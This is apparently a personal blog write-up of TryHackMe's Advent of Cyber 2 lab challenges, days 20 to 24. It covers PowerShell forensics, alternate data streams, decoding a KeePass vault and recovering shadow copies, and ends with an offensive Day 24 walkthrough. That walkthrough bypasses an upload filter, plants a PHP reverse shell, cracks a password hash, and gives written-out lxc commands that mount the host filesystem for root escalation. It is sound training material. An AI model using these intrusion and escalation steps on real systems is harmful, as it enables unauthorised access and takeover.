![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986751144/3d1528e2-85a9-485f-95af-4869b65a87b6.png)

Upon deletion of the naughty list, I was awarded the flag!

This was definitely one of the more interesting web challenges. Managed to learn a thing or two thanks to [Tib3rius](https://twitter.com/TibSec).

* * *

\[Day 20\]  PowershELlF to the rescue
-------------------------------------

> Blue Teaming _| Powershell_  
>   
> Someone is mischievous at The Best Festival Company. The contents within the stockings have been removed. A clue was left in one of the stockings that hints that the contents have been hidden within Elfstation1. McEager moves quickly and attempts to RDP into the machine. Yikes! He is unable to log in.  
> Luckily, he has been learning PowerShell, and he can remote into the workstation using PowerShell over SSH.  
>   
> Task: Use the PowerShell console to navigate throughout the endpoint to find the hidden contents to reveal what was hidden in the stockings.

    SSH Creds
    
    Username: mceager
    Password: r0ckStar!

`Target = 10.10.163.212`

The first thing I did was to SSH into the given windows box.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986752089/449515eb-2921-43c3-80a8-55bf8b3f14d1.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986753106/9cd43206-98cf-4108-a9d5-3597ae9a2863.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986754346/4703265c-84b4-40a0-8dd5-e979460dcb3a.png)

Once I was in, I launched PowerShell to complete the challenge.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986755464/f1d478af-e70b-4ff7-880c-4416e26634c1.png)

> Challenge 1

Search for the first hidden elf file within the Documents folder. Read the contents of this file. What does Elf 1 want?

Thus, I moved into the `Documents` folder. To look for a hidden file, I used the `-hidden` option together with the command `Get-ChildItem`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986756742/9d777857-125e-43b4-9ae1-099803c01fe3.png)

@[John Hammond](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw)

Now to see the contents, I used the `cat` command similar to the Linux environment.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986757899/50e2624f-3c86-4aa4-94ed-fec77131e928.png)

@[John Hammond](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw)

> Challenge 2

Search the Windows directory for a hidden folder that contains files for Elf 3. What is the name of the hidden folder?

After much tweaking I ran the `Get-childItem` command with the params `-Hidden`, `Directory` and `-Filter "*3*"`. This meant that I was looking for a hidden directory within the `\Windows` directory which had the number 3 anywhere in its name. That was all I needed for this challenge.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986759019/1816f955-21af-420e-9944-a658d99105b4.png)

@[John Hammond](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw)

> Challenge 3

How many words does the first file contain?

Thankfully, PowerShell has the cmdlet `Measure-Object` which could help me out with this. I used the command with the param `-Word` and solved this challenge.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986760368/8eb750c7-9b39-47b2-965f-59ebc2381429.png)

@[John Hammond](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw)

And that was the end of day 20! Interesting day :) Got to learn a lil bit about PowerShell and how the cmdlets can be used!

* * *

\[Day 21\]  Time for some ELForensics
-------------------------------------

> Blue Teaming _| Forensics_  
>   
> One of the 'little helpers' logged into his workstation only to realize that the database connector file has been replaced, and he can't find the naughty list anymore. Furthermore, upon executing the database connector file, a taunting message was displayed, hinting that the file was moved to another location. McEager has been notified, and he will put the pieces together to find the database connector file.  
>   
> Task: Find where the database connector file is hidden using forensic-like investigative techniques.

    RDP Creds
    
    Username: littlehelper
    Password: iLove5now! 

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986762065/988b1d86-0f17-4a93-8c48-19865fa7b976.png)

> Challenge 1

Read the contents of the text file within the Documents folder. What is the file hash for db.exe?

    PS C:\Users\littlehelper\Documents> type '.\db file hash.txt'

I used this command to be able to read the file.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986763405/22cd2ed1-5a35-4573-a175-68320ac45de7.png)

> Challenge 2

What is the file hash of the mysterious executable within the Documents folder?

    PS C:\Users\littlehelper\Documents> Get-FileHash -Algorithm MD5 .\deebee.exe

I used this command to be able to retrieve the MD5 hash of that particular file.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986764328/dce9085a-610c-4126-b9ba-f3697a9a3654.png)

> Challenge 3

Using Strings find the hidden flag within the executable?

    PS C:\Users\littlehelper\Documents> C:\Tools\strings64.exe .\deebee.exe

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986765326/f7adf441-a249-4695-a6af-b9f9fafe4280.png)

> Challenge 4

What is the flag that is displayed when you run the database connector file?

First, I needed to uncover any ADS `deebee.exe` might have. I used the following command to find that.

    PS C:\Users\littlehelper\Documents> Get-Item -Path .\deebee.exe -Stream *

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986766497/9d54df0d-fa30-45b0-abbf-79970215da89.png)

This command revealed the `hidedb` ADS. Next, to launch the hidden executable, I ran the following command

    PS C:\Users\littlehelper\Documents> wmic process call create $(Resolve-Path .\deebee.exe:hidedb)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986767590/d62609a0-847c-4027-9c5f-fc4278b790a3.png)

And there it was...The flag for the last challenge! Another interesting PowerShell challenge!

* * *

\[Day 22\]  Elf McEager becomes CyberElf
----------------------------------------

> Blue Teaming _| Cyberchef | Encoding_  
>   
> The past few days there have been strange things happening at Best Festival Company. McEager hasn't had the time to fully investigate the compromised endpoints with everything that is going on nor does he have the time to reimage the workstations. McEager decides to log into a different workstation, one of his backup systems.  
>   
> McEager logs in and to his dismay he can't log into his password manager. It's not accepting his master key! He notices that the folder name has been renamed to something strange.  
>   
> Task: You must gain access to the password manager and decode the values within the password manager using CyberChef.

    RDP Creds
    
    Username: Administrator
    Password: sn0wF!akes!!! 

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986768887/2d2c3b3a-ec5d-4a83-9ff6-c554abb84497.png)

Initial RDP reveals a file located on the desktop with what seems to be a `base64` encoded file name. Thus, I went to over to my [trusted site](https://gchq.github.io/CyberChef) to decode that!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986770792/e6bc6ff2-9411-4df1-8426-19f1fbdf01b5.png)

After decoding, I got the string `thegrinchwashere`.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986771833/064379d1-74b8-4f30-b844-e74d5446004c.png)

Upon further inspection, I realized that the folder contained an installation of the open source password manager, [KeePass](https://keepass.info/).

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986773005/101eb6dd-cd6c-495d-a24d-7b3b7d84fe90.png)

When I launched the password manager, I was prompted for a master password. This is where the string I found earlier came in handy. I entered `thegrinchwashere` and I was let in by the application.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986774065/8f424495-cf2e-46d6-bd09-192c31ff52f0.png)

Now, I had access to all the passwords in the database!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986775441/ff6f1a6d-982e-4c5a-87e7-cce656f1e476.png)

The `Elf Security System` has an unusually large notes section. Throwing that into Cyberchef and decoding that with the `From Charcode` module, revealed the flag!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986776575/3b6f9a2b-1ec2-429f-a74b-257149c3582e.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986777689/262f7d6c-204a-4378-908b-7ba36839f7ac.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986778768/2a7f6482-2cbf-4422-8438-5541e23f8067.png)

And that was end of day 22!

* * *

\[Day 23\]  The Grinch strikes again!
-------------------------------------

> Blue Teaming _|_ Volume shadow copy service _| Windows forensics_  
>   
> The mayhem at Best Festival Company continues. McEager receives numerous emails and phone calls about a possible ransomware attack affecting all the endpoints in the network. McEager knows that the endpoints which are infected with the malware don't have any backup copies but luckily on his workstation he has backups enabled.  
>   
> Task: Investigate the malware and restore the files to their original

    RDP Creds
    
    Username: Administrator
    Password: sn0wF!akes!!! 

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986779879/5db805a4-24a3-46a0-a390-b43e3e08fc3d.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986781407/b3fd1082-8bdf-4330-9897-3cc21810cee5.png)

  
This was what I was greeted with when I RDPd into the machine.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986782763/c101dd8a-943a-4edc-9347-d448cad8eef8.png)

The Volume Shadow Copy Service (VSS) coordinates the actions that are required to create a consistent shadow copy (also known as a snapshot or a point-in-time copy) of the data that is to be backed up.

Shadow Copy is a technology included in Microsoft Windows that can create backup copies or snapshots of computer files or volumes, even when they are in use.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986784312/161bfc7f-28b7-4fb7-92bf-12461ec6cf4f.png)

The first thing I did was to check if there was any backups made. Thankfully there was a copy that was made to the backup drive as seen below.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986785722/ecd552bb-28ff-4950-aa50-a777f3ccacee.png)

Now that I found out that there were backups, I had to assign a drive letter and path to be able to access the drive via the file explorer.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986786859/d3aa39d3-f092-4aef-99a9-be99e4887538.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986787988/7721cf88-a637-4b11-865d-f11dd1e8dedc.png)

Now, I was able to access the other backup drive and view its contents!

> Challenge 1

What is the name of the suspicious scheduled task?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986788726/425c2b71-6976-40a1-9e81-d8750a8799c7.png)

> Challenge 2

Inspect the properties of the scheduled task. What is the location of the executable that is run at login?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986789669/94612f00-024c-492f-bff4-325ac6bae36c.png)

> Challenge 3

There is another scheduled task that is related to VSS. What is the `ShadowCopyVolume` ID?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986790799/690ac9a2-f10f-468b-807b-de434a396fbf.png)

> Challenge 4

Assign the hidden partition a letter. What is the name of the hidden folder?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986791872/4a24e67d-3443-48ce-8b76-3a4c65a68e5d.png)

And...that was the end of that. Another cool little windows challenge educating on the Volume Shadow Copy Service!

* * *

\[Day 24\]  The Trial Before Christmas
--------------------------------------

> Special _|_ Web _| Linux_  
>   
> "Elf McEager - your boundless effort to save Christmas this year has not gone unnoticed. I wanted to reward you with a special present, however, there's a catch. Elf McSkidy and I have seen your skills advance and we feel it would only be appropriate to give you a present after one last challenge. Inside this package, you'll have also found a computer. Plug this into the network and hack into it. Best of luck and Merry Christmas - Santa"  
>   
> Without delay, Elf McEager connected the NUC appropriately and watched it whir to life. A small screen nearby the power button blinked and then displayed the IP address assigned to the device. Next to the IP, a small symbol appeared. McEager quietly wondered to himself what it could mean as he logged into his terminal, ready to start his final challenge.

`Target = 10.10.77.22`

As always, I ran my NMAP scan against the target to gain more information.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day24]
    └─$ nmap -p- -T5 10.10.77.22 
    

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986793208/e47201d4-c795-4cd4-a93d-dfa6fa02d905.png)

> Challenge 1

What's the title of the hidden website?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986794382/3b52b100-4c8a-403b-ac65-660e8c96eff6.png)

> Challenge 2

What is the name of the hidden php page?

For this challenge, I ran gobuster with the `-x` option and set the flag to `php` so that the program would only fuzz for `php` pages!

    ┌──(nee㉿kali)-[~]
    └─$ gobuster dir -u http://10.10.77.22:65000 -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 40

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986795447/4b180eed-0fad-4228-9dc3-0ad235164f5f.png)

uploads.php

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986796640/3e35de67-4221-43a5-9c45-93c1045c8da5.png)

Now that I had uncovered an upload page, I shifted my focus to try and upload a reverse shell to gain access!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986797643/ac93557a-2bc1-4e5e-9c85-f89b4cdfbdbf.png)

Upon inspection of the source, I realized that the site only accepts `.png`, `.jpg` or `.jpeg`. Thus, I fired up `burpsuite` to bypass both the client side and possible server filtering!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986798614/7a7723b0-8fa3-43ff-b245-2e56b35d6e8b.png)

I first headed to the interception rule and removed `^js$|`. This allows the proxy to intercept JS files too. By allowing intercept of JS files, I would be able to simply drop the filter js file which would help bypass the client side filtering.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986799743/1c06c216-bdd6-483f-b9ef-e4e662f4de8a.png)

Now, I'd simply be able to upload my php reverse shell and get gain access!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986800893/a9cb3e0c-c502-4af7-af24-6d389465fc2b.png)

Next, I setup a NetCat listener on my host machine to catch any incomming connections from the server.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986802050/590a2952-48cd-479b-8351-6d23c36bfd83.png)

Followed by that, I went to the `grid` directory which was uncovered earlier from the dirbuster attack. Which also happened to be where all uploaded files were stored. I then click on the file to trigger a reverse connection back to my host machine!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986802993/b429b5fd-8d6c-4a2a-8ff1-0fbb3acc6e7a.png)

I also used `python3 -c 'import pty;pty.spawn("/bin/bash")'` to spawn a better-featured bash shell after I was in.

> Challenge 3

What is the value of the web.txt flag?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986804144/51628b68-73dc-4c01-bdac-ad0d17d948aa.png)

Continuing my post exploitation led me to find the DB authentication details in the web directory!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986805207/7d08c6e4-207f-48ec-b303-ded3efba18b7.png)

Now that I had access to the database, I went and took a peak inside. I managed to find a db named `tron` and in that db was a table named `users` with a single entry!

> Challenge 4

Crack the password. What is it?

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986806472/70108152-bd5c-4506-8514-6c934a83c01d.png)

I then used [this](https://crackstation.net/) free password hash cracker to get the password!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986807471/667bacaa-6921-4b8a-a72b-efe2bbb60b9a.png)

> Challenge 5

What is the value of the user.txt flag?

Now that I had the password for the user `flynn`. I just su-ed into the account and grabbed the flag.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986808531/92c03c04-26d8-4e36-b422-22a14688b84e.png)

> Challenge 6

What is the value of the root.txt flag?

I found that the user flynn was apart of the group `lxc`. Thus, I went ahead and attempted privilege escalation via that service.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986809579/12f7da67-55f5-456e-82df-39b4bf7a6992.png)

When running `lxc image list` as shown below, I realized that the target machine already had an `alpine v3.12` image available for me to just mount my root directory on to.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986810560/90a98f1e-d754-4464-a99d-82e10e3256c9.png)

I then ran the following commands to create, mount the entire volume of the targer machine and initialize the container.

    lxc init <imageName> <containerName> -c security.privileged=true
    
    lxc config device add <containerName> <deviceName> disk source=/ path=/mnt/root recursive=true
    
    lxc start <containerName>
    
    lxc exec <containerName> /bin/sh

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986811719/59de2587-3e26-474c-be37-95f03f7a2c6e.png)

End of day 24!

* * *

And that marks the end of the Advent of Cyber 2! That was a solid 24 day challenge 😊 I got to learn various things related to cyber security. Thanks to the folks over to THM and all other entities who made this event possible!

~Nee!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986812889/74a43d67-63d2-4148-9359-8ef9672da8db.png)
